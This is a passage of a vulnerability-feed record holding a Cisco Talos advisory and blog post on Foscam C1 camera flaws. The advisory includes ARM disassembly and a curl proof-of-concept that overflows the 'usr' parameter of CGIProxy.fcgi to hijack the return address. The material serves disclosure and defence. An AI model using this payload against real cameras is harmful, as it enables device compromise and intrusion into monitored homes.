04 00 A0 E1 MOV R0, R4\n .text:00009AF0 24 10 9F E5 LDR R1, =0x3001\n .text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38\n .text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))\n .text:00009AF8\n .text:00009AFC 04 00 A0 E1 MOV R0, R4\n .text:00009B00 18 10 9F E5 LDR R1, =0x3002\n .text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38\n .text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}\n .text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))\n \n\nAfter the \"CGIProxy.fcgi\" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query off to `CMsgClient::sendMsg`. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.\n \n \n .text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c\n .text:00009FAC 08 10 A0 E1 MOV R1, R8\n .text:00009FB0 07 00 A0 E1 MOV R0, R7\n .text:00009FB4 34 FC FF EB BL strcpy ; [4]\n .text:00009FB8\n .text:00009FB8 08 00 A0 E1 MOV R0, R8\n .text:00009FBC C0 FB FF EB BL strlen\n .text:00009FC0\n .text:00009FC0 CC 30 9F E5 LDR R3, =0x404\n .text:00009FC4 00 30 8D E5 STR R3, [SP]\n .text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]\n .text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request\n .text:00009FD0 01 20 A0 E3 MOV R2, #1\n .text:00009FD4 04 40 8D E5 STR R4, [SP,#4]\n .text:00009FD8 08 40 8D E5 STR R4, [SP,#8]\n .text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]\n .text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]\n .text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8\n .text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)\n \n\nThe handler for the code 0x4001 is located within the \"webService\" process. This is performed by the function at offset 0x1e488, `executeCGICmd`. Inside this function, the service will call a function that's responsible for authenticating the command specified by the user [6]. Once called, the service will initialize a number of variables on the stack. Each variable will be initialized as a 64 byte buffer. The `usrString` variable will be initialized at [7], `pwdString` at [8], and finally `cmdString` at [9].\n \n \n .text:0001E5A4 executeCGICmd\n .text:0001E5A4\n .text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}\n .text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28\n .text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440\n .text:0001E5B0 00 80 A0 E1 MOV R8, R0\n .text:0001E5B4 06 10 A0 E1 MOV R1, R6\n .text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68\n .text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]\n .text:0001E5C0 00 70 50 E2 SUBS R7, R0, #0\n .text:0001E5C4 27 00 00 0A BEQ replyMsg_1E668\n \\\n .text:00028EAC sub_28EAC\n .text:00028EAC\n .text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}\n .text:00028EB0 00 40 51 E2 SUBS R4, R1, #0\n .text:00028EB4 00 80 A0 E1 MOV R8, R0\n .text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118\n .text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF\n .text:00028EC0 8B 00 00 0A BEQ leaving\n .text:00028EC4\n .text:00028EC4 D4 60 8D E2 ADD R6, SP, #0x138+lv_usrString\n .text:00028EC8 00 10 A0 E3 MOV R1, #0\n .text:00028ECC 40 20 A0 E3 MOV R2, #0x40\n .text:00028ED0 94 A0 8D E2 ADD R10, SP, #0x138+lv_pwdString\n .text:00028ED4 06 00 A0 E1 MOV R0, R6\n .text:00028ED8 02 A8 FF EB BL memset ; [7]\n .text:00028EDC\n .text:00028EDC 54 50 8D E2 ADD R5, SP, #0x138+lv_cmdString\n .text:00028EE0 00 10 A0 E3 MOV R1, #0\n .text:00028EE4 40 20 A0 E3 MOV R2, #0x40\n .text:00028EE8 0A 00 A0 E1 MOV R0, R10\n .text:00028EEC FD A7 FF EB BL memset ; [8]\n .text:00028EF0\n .text:00028EF0 40 20 A0 E3 MOV R2, #0x40\n .text:00028EF4 00 10 A0 E3 MOV R1, #0\n .text:00028EF8 05 00 A0 E1 MOV R0, R5\n .text:00028EFC F9 A7 FF EB BL memset ; [9]\n \n\nFollowing the initialization of these variables, the service will then search through the user's query for their respective parameters. This is done by the following code. Each of the functions at [10] will forward to a stub which will call a function [11] to extract the specified value from the query and write it into the buffer. At [11], the service will use the same function to extract the value from the \"remoteIp=\" parameter and write it into a buffer on the stack.\n \n \n .text:00028F00 00 30 A0 E3 MOV R3, #0\n .text:00028F04 05 10 A0 E1 MOV R1, R5\n .text:00028F08 04 00 A0 E1 MOV R0, R4\n .text:00028F0C 14 31 8D E5 STR R3, [SP,#0x138+lp_funcptr]\n .text:00028F10 1B FD FF EB BL extract_cmd ; [10]\n .text:00028F14 06 10 A0 E1 MOV R1, R6\n .text:00028F18 04 00 A0 E1 MOV R0, R4\n .text:00028F1C 0F FD FF EB BL extract_usr ; [10]\n .text:00028F20 14 70 8D E2 ADD R7, SP, #0x138+var_124\n .text:00028F24 0A 10 A0 E1 MOV R1, R10\n .text:00028F28 04 00 A0 E1 MOV R0, R4\n .text:00028F2C 02 FD FF EB BL extract_pwd ; [10]\n .text:00028F30 C4 11 9F E5 LDR R1, =str.remoteIp\n .text:00028F34 07 20 A0 E1 MOV R2, R7\n .text:00028F38 04 00 A0 E1 MOV R0, R4\n .text:00028F3C C1 FC FF EB BL extract_param ; [11]\n \n\nInside the function `extract_param`, the service will search through the query passed in `%r0` for the key specified in `%r1`. Once found, the function will write the value into the target buffer specified in `%r2`. First the function will check to see that these query and key parameters are valid by comparing them against NULL at [12]. If this is the case, then the service will search for the key that was specified in `%r1`. This will return an index which will be used in the loop at [13]. This loop will copy each byte from the query at [14] until an '&' byte is found or the end of the query string is reached. Due to this loop explicitly trusting the length of the query during a copy and the function not being informed of the maximum length of the destination buffer as defined by the caller, this loop can be made to write outside the bounds of the buffer passed as an argument.\n \n \n .text:00028248 extract_param\n .text:00028248\n .text:00028248 00 00 51 E3 CMP R1, #0 ; [12]\n .text:0002824C 00 00 52 13 CMPNE R2, #0\n .text:00028250 F0 41 2D E9 STMFD SP!, {R4-R8,LR}\n ...\n .text:00028304 loc_28304 ; [13]\n .text:00028304 03 20 D5 E7 LDRB R2, [R5,R3]\n .text:00028308 26 00 52 E3 CMP R2, #'&'\n .text:0002830C 00 20 A0 03 MOVEQ R2, #0\n .text:00028310 03 20 C4 07 STREQB R2, [R4,R3]\n .text:00028314 03 00 00 0A BEQ loc_28328\n .text:00028318 03 20 C4 E7 STRB R2, [R4,R3] ; [14]\n .text:0002831C 01 30 83 E2 ADD R3, R3, #1\n .text:00028320\n .text:00028320 loc_28320\n .text:00028320 00 00 53 E1 CMP R3, R0\n .text:00028324 F6 FF FF BA BLT loc_28304\n \n\nThe stack frame of the caller allocates 0x40 bytes for each parameter that is to be fetched. If the `usrString` parameter is overflowed, this would require 0x64 bytes to overwrite the saved link-register that is stored on the stack.\n \n \n <type 'structure' size=+138>\n [ 0] -138:+4 'var_138' (<type 'int'>, 4) \n [ 1] -134:+4 'var_134' (<type 'int'>, 4) \n [ 2] -130:+4 'var_130' (<type 'int'>, 4) \n [ 3] -12c:+4 'var_12C' (<type 'int'>, 4) \n [ 4] -124:+40 'var_124' [(<type 'int'>, 1), 64] \n [ 5] -e4:+40 'lv_cmdString' [(<type 'int'>, 1), 64] \n [ 6] -a4:+40 'lv_pwdString' [(<type 'int'>, 1), 64] \n [ 7] -64:+40 'lv_usrString' [(<type 'int'>, 1), 64] \n [ 8] -24:+4 'lp_funcptr' (<type 'int'>, 4) \n [ 9] -20:+20 'var_20' [(<type 'int'>, 4), 8]\n \n\n### Exploit Proof-of-Concept\n\nTo trigger this request, this can be done with the combination of command line HTTP client and Perl for generating each buffer. Each variable is being allocated with 0x40 bytes, so any value larger than this will overflow each buffer. The following command should trigger the vulnerability by overflowing the \"usr=\" parameter with 0x40 'A' bytes followed by 0x4 'B' bytes for the \"funcptr\" variable, 0x1C 'C' bytes for the frame, and then a 32-bit word for the link register. The address specified here should cleanly reboot the device.\n \n \n ```\n usrString=`perl -e 'print \"A\"x0x40'`\n pwdString=`perl -e 'print \"A\"x0x40'`\n cmdString=`perl -e 'print \"A\"x0x40'`\n funcptr=`perl -e 'print \"B\"x4'`\n var_20=`perl -MURI::Escape -e 'print \"C\"x0x1c,uri_escape(pack(\"L\", 0x1d3a0))'`\n curl \"http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=${cmdString}&pwd=${pwdString}&usr=${usrString}${funcptr}${var_20}\"\n ```\n \n\n### Timeline\n\n2017-03-28 - Vendor Disclosure \n2017-06-19 - Public Release\n\n##### Credit\n\nDiscovered by Claudio Bozzato and another member of Cisco Talos.\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2017-0328\n\nPrevious Report\n\nTALOS-2016-0245\n", "modified": "2017-06-19T00:00:00", "published": "2017-06-19T00:00:00", "id": "TALOS-2017-0299", "href": "http://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0299", "title": "Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability", "type": "talos", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "talosblog": [{"lastseen": "2017-07-29T13:22:40", "bulletinFamily": "blog", "description": "<h2 id=\"h.4x9n64h9k27j\">Executive Summary</h2>The Foscam C1 is a webcam that is marketed for use in a variety of applications including home security monitoring. As an indoor webcam, it is designed to be set up inside of a building and features the ability to be accessed remotely via a web interface or from within a mobile application. Talos recently identified several vulnerabilities in the Foscam C1 camera that could be used by attackers for a variety of purposes including access and retrieval of sensitive information stored on the camera, execution of arbitrary commands within the camera's operating system, and in several cases, completely compromise the device. As these cameras are commonly deployed in sensitive locations and used as baby monitors, security cameras, etc. it is recommended that affected devices be updated as quickly as possible to ensure that they are no longer vulnerable.<br /><br />In accordance with our responsible disclosure policy, Talos has worked with Foscam to resolve these issues, which has resulted in the release of a firmware update addressing them.<br /><br /><h2 id=\"h.om6cexyys78v\">Vulnerability Details</h2><div><a name='more'></a><br /></div><b>Foscam C1 Webcam FTP Hard Coded Password Vulnerability (TALOS-2016-0245 / CVE-2016-8731)</b><br /><br /><i>Vulnerability Discovered by Richard Harman and Dave McDaniel of Talos</i><br /><br />Talos recently discovered that Foscam C1 Indoor HD Cameras contain undocumented, hardcoded FTP credentials that could allow an attacker the ability to remotely login to affected devices and gain full read and write access to the Micro-SD card mounted within the device. This access could be used to obtain sensitive information such as audio and video recordings, images, and other data stored on the Micro-SD card. This vulnerability, TALOS-2016-0245 has been assigned CVE-2016-8731. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2016-0245/\">here</a>.<br /><br /><b>Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability (TALOS-2017-0299 / CVE-2017-2805)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a stack based buffer overflow in the \"CGIProxy.fcgi\" service of the web management interface. An attacker could use a specially crafted HTTP request to trigger this overflow condition. This vulnerability could be leveraged by an attacker to achieve code execution on vulnerable devices. This vulnerability, TALOS-2017-0299 has been assigned CVE-2017-2805. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0299/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Account Creation Command Injection Vulnerability (TALOS-2017-0328 / CVE-2017-2827)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service of the web management interface. An attacker could insert arbitrary characters into the \"addAccount\" command via either the \"usrName\" or \"usrPwd\" parameters, resulting in execution of arbitrary OS commands. Exploitation of this vulnerability would require access to an account with administrative privileges on the device. This vulnerability, TALOS-2017-0328 has been assigned CVE-2017-2827. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0328/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Account Password Command Injection Vulnerability (TALOS-2017-0329 / CVE-2017-2828)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service of the web management interface. An attacker could insert arbitrary characters into the \"changePassword\" command during the account password change process, resulting in execution of arbitrary OS commands. Exploitation of this vulnerability would require access to an account with administrative privileges on the device. TALOS-2017-0329 has been assigned CVE-2017-2828. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0329/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Message 0x3001 Directory Traversal Vulnerability (TALOS-2017-0330 / CVE-2017-2829)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a directory traversal vulnerability present in the \"CGIProxy.fcgi\" service of the web management interface. This vulnerability could allow an attacker to retrieve arbitrary files from the camera using an HTTP request. This could result in the disclosure of sensitive information. This vulnerability is due to a failure to adequately sanitize user input and could allow an attacker to traverse outside of the intended directory structure of the web interface. TALOS-2017-0330 has been assigned CVE-2017-2829. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0330/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Message 0x3001 Multi-part Form Boundary Code Execution Vulnerability (TALOS-2017-0331 / CVE-2017-2830)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a buffer overflow vulnerability present in the \"CGIProxy.fcgi\" service of the web management interface. Exploitation of this vulnerability could result in the execution of arbitrary code on affected devices. An attacker could trigger this vulnerability using a specially crafted HTTP request to overwrite the buffer on the stack and ultimately obtain control over code execution flow within the device. This vulnerability is due to a failure of the device to perform proper bounds checking on input received from users. TALOS-2017-0331 has been assigned CVE-2017-2830. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0331/\">here</a>. <br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Query Append Code Execution Vulnerability (TALOS-2017-0332 / CVE-2017-2831)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a buffer overflow vulnerability present in the \"FCGX_Init\" function within the \"CGIProxy.fcgi\" service of the web management interface. An attacker could leverage this vulnerability to obtain remote code execution on affected devices. This vulnerability could be triggered using a specially crafted HTTP request and allow an attacker to overwrite the buffer or obtain control over code execution flow within affected devices. TALOS-2017-0332 has been assigned CVE-2017-2831. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0332/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi FTP Startup Configuration Command Injection Vulnerability (TALOS-2017-0334 / CVE-2017-2833)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present within the \"webService\" application that is launched by the device during the bootup process. An attacker could leverage this vulnerability to execute operating system commands on the device during device startup. This vulnerability can be exploited using any command that allows for changing an account password (e.g. changePassword). During startup the FTP service is configured using shell commands without sanitizing the password parameter, resulting in execution of the attacker supplied commands. Exploitation of this vulnerability would require access to an account with administrative privileges on the device. The injected command would then be executed once the device reboots. TALOS-2017-0334 has been assigned CVE-2017-2833. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0334/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Account Deletion Command Injection Vulnerability (TALOS-2017-0335 / CVE-2017-2832)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato and another member of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within web management interface on affected devices. This vulnerability could allow an attacker to inject and execute arbitrary operating system commands during the Account Deletion process within the web interface. An attacker could exploit this vulnerability using a specially crafted HTTP request. The vulnerability is triggered when the \"delAccount\" command is invoked. Exploitation of this vulnerability would require access to an account with administrative privileges on the device. TALOS-2017-0335 has been assigned CVE-2017-2832. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0335/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi SMTP Test Host Parameter Configuration Command Injection Vulnerability (TALOS-2017-0343 / CVE-2017-2841)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject arbitrary operating system commands into the \"msmtprc\" configuration file on the device, resulting in execution of the injected commands. An attacker could exploit this vulnerability using a specially crafted HTTP request. This vulnerability can be reached by invoking the \"smtpTest\" command and injecting commands into the \"SMTP Test Host\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0343 has been assigned CVE-2017-2841. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0343/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi SMTP Test User Parameter Configuration Command Injection Vulnerability (TALOS-2017-0344 / CVE-2017-2842)</b><br /><i><br /></i><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject arbitrary operating system commands into the \"msmtprc\" configuration file on the device, resulting in the execution of the injected commands. An attacker could exploit this vulnerability using a specially crafted HTTP request. This vulnerability can be reached by invoking the \"smtpTest\" command and injecting commands into the \"SMTP Test User\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0344 has been assigned CVE-2017-2842. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0344/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi SMTP Test Password Parameter Configuration Command Injection Vulnerability (TALOS-2017-0345 / CVE-2017-2843)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject arbitrary operating system commands into the \"msmtprc\" configuration file on the device, resulting in the execution of the injected commands. An attacker could exploit this vulnerability using a specially crafted HTTP request. This vulnerability can be reached by invoking the \"smtpTest\" command and injecting commands into the \"SMTP Test Password\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0345 has been assigned CVE-2017-2843. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0345/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi SMTP Test Sender Parameter Configuration Command Injection Vulnerability (TALOS-2017-0346 / CVE-2017-2844)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject arbitrary operating system commands into the \"msmtprc\" configuration file on the device, resulting in the execution of the injected commands. An attacker could exploit this vulnerability using a specially crafted HTTP request. This vulnerability can be reached by invoking the \"smtpTest\" command and injecting commands into the \"SMTP Test Sender\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0346 has been assigned CVE-2017-3844. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0346/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi SMTP Test Command Injection Vulnerability (TALOS-2017-0347 / CVE-2017-2845)</b><br /><br /><i>Vulnerability Discovered by Cory Duplantis and Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject and execute arbitrary operating system commands during the SMTP configuration testing process. This vulnerability can be reached by invoking the \"smtpTest\" command and injecting attacker specified operating system commands. A specially crafted HTTP request can be used to exploit this vulnerability. This vulnerability requires an attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0347 has been assigned CVE-2017-2845. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0347/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Gateway Address Configuration Command Injection Vulnerability (TALOS-2017-0348 / CVE-2017-2846)</b><br /><i><br /></i><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject and execute arbitrary operating system commands using the input fields associated with manual networking configuration. This vulnerability can be reached by invoking the \"setIpInfo\" command and injecting commands into the \"Gateway Address\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0348 has been assigned CVE-2017-2846. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0348/\">here</a>.<br /><b><br /></b><b>Foscam IP Video Camera CGIProxy.fcgi DNS1 Address Configuration Command Injection Vulnerability (TALOS-2017-0349 / CVE-2017-2847)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject and execute arbitrary operating system commands using the input fields associated with manual networking configuration. This vulnerability can be reached by invoking the \"setIpInfo\" command and injecting commands into the \"DNS1\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0349 has been assigned CVE-2017-2847. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0349/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi DNS2 Address Configuration Command Injection Vulnerability (TALOS-2017-0350 / CVE-2017-2848)</b><br /><i><br /></i><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject and execute arbitrary operating system commands using the input fields associated with manual networking configuration. This vulnerability can be reached by invoking the \"setIpInfo\" command and injecting commands into the \"DNS2\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0350 has been assigned CVE-2017-2848. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0350/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi NTP Server Configuration Command Injection Vulnerability (TALOS-2017-0351 / CVE-2017-2849)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a command injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject and execute arbitrary operating system commands using the input fields associated with NTP server address configuration. This vulnerability can be reached by invoking the \"setSystemTime\" command and injecting commands into the \"ntpServer\" parameter. This vulnerability requires the attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0351 has been assigned CVE-2017-2849. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0351/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Change Username pureftpd.passwd Injection Vulnerability (TALOS-2017-0352 / CVE-2017-2850)</b><br /><br /><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to an injection vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability could allow an attacker to inject arbitrary operating system commands into the \"pureftpd.passwd\" configuration file on the device during a username change operation, enabling the attacker to break out of the chroot environment associated with the FTP service on the device. This vulnerability could be used to escalate privileges on affected devices. This vulnerability is reachable by invoking the \"changeUserName\" command and requires an attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0352 has been assigned CVE-2017-2850. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0352/\">here</a>.<br /><br /><b>Foscam IP Video Camera CGIProxy.fcgi Wifi Settings Code Execution Vulnerability (TALOS-2017-0353 / CVE-2017-2851)</b><br /><i><br /></i><i>Vulnerability Discovered by Claudio Bozzato of Cisco Talos.</i><br /><br />Foscam C1 Indoor HD Cameras are vulnerable to a stack based buffer overflow vulnerability present in the \"CGIProxy.fcgi\" service within the web management interface on affected devices. This vulnerability can be exploited using a specially crafted HTTP request during the WiFi configuration on the device. This vulnerability could allow an attacker to overwrite the buffer and potentially lead to remote code execution on affected devices. This vulnerability is reachable by invoking the \"setWifiSetting\" command. Exploitation of this vulnerability requires an attacker to obtain access to a legitimate account with administrative privileges on the device. TALOS-2017-0353 has been assigned CVE-2017-2851. For additional information, please see the advisory <a href=\"http://www.talosintelligence.com/reports/TALOS-2017-0353/\">here</a>.<br /><br /><h2 id=\"h.7lv692mu22vr\">Versions Tested</h2>Talos has tested and confirmed that the following Foscam firmware versions are affected:<br /><br />Foscam, Inc. Indoor IP Camera C1 Series<br />System Firmware Version: 1.9.3.17<br />Application Firmware Version: 2.52.2.37<br />Web Version: 2.0.1.1<br />Plug-In Version: 3.3.0.5<br /><br /><h2 id=\"h.20my9pwfiqmo\">Conclusion</h2>One of the most commonly deployed IP cameras is the Foscam C1. In many cases these devices may be deployed in sensitive locations. They are marketed for use in security monitoring and many use these devices to monitor their homes, children, and pets remotely. As such, it is highly recommended that the firmware running on these devices be kept up-to-date to ensure the integrity of the devices, as well as the confidentiality of the information and environments that they are monitoring. Foscam has released a firmware update, version <a href=\"http://www.foscam.com/downloads/firmware_details.html?id=1\">V-2.x.2.43</a> to resolve these issues. Users of the affected devices should update to this new version as quickly as is operationally feasible to ensure that their devices are not vulnerable.<br /><br /><h2 id=\"h.halfffbm6urf\">Coverage</h2>The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.<br /><br />Snort Rules:<br />40908-40909<br />42078<br />42431-42437<br />43005<br />43061<div class=\"feedflare\">\n<a href=\"http://feeds.feedburner.com/~ff/feedburner/Talos?a=NJYd2ILj-uQ:uW9J5dOrlWY:yIl2AUoC8zA\"><img src=\"http://feeds.feedburner.com/~ff/feedburner/Talos?d=yIl2AUoC8zA\" border=\"0\"></img></a>\n</div><img src=\"http://feeds.feedburner.com/~r/feedburner/Talos/~4/NJYd2ILj-uQ\" height=\"1\" width=\"1\" alt=\"\"/>", "modified": "2017-06-19T16:16:13", "published": "2017-06-19T08:45:00", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/NJYd2ILj-uQ/foscam-vuln-details.html", "id": "TALOSBLOG:0E7D49F78E04B2B1571CBB4FAAC8B2D3", "title": "Vulnerability Spotlight: Multiple Foscam C1 Vulnerabilities Come in to Focus", "type": "talosblog", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}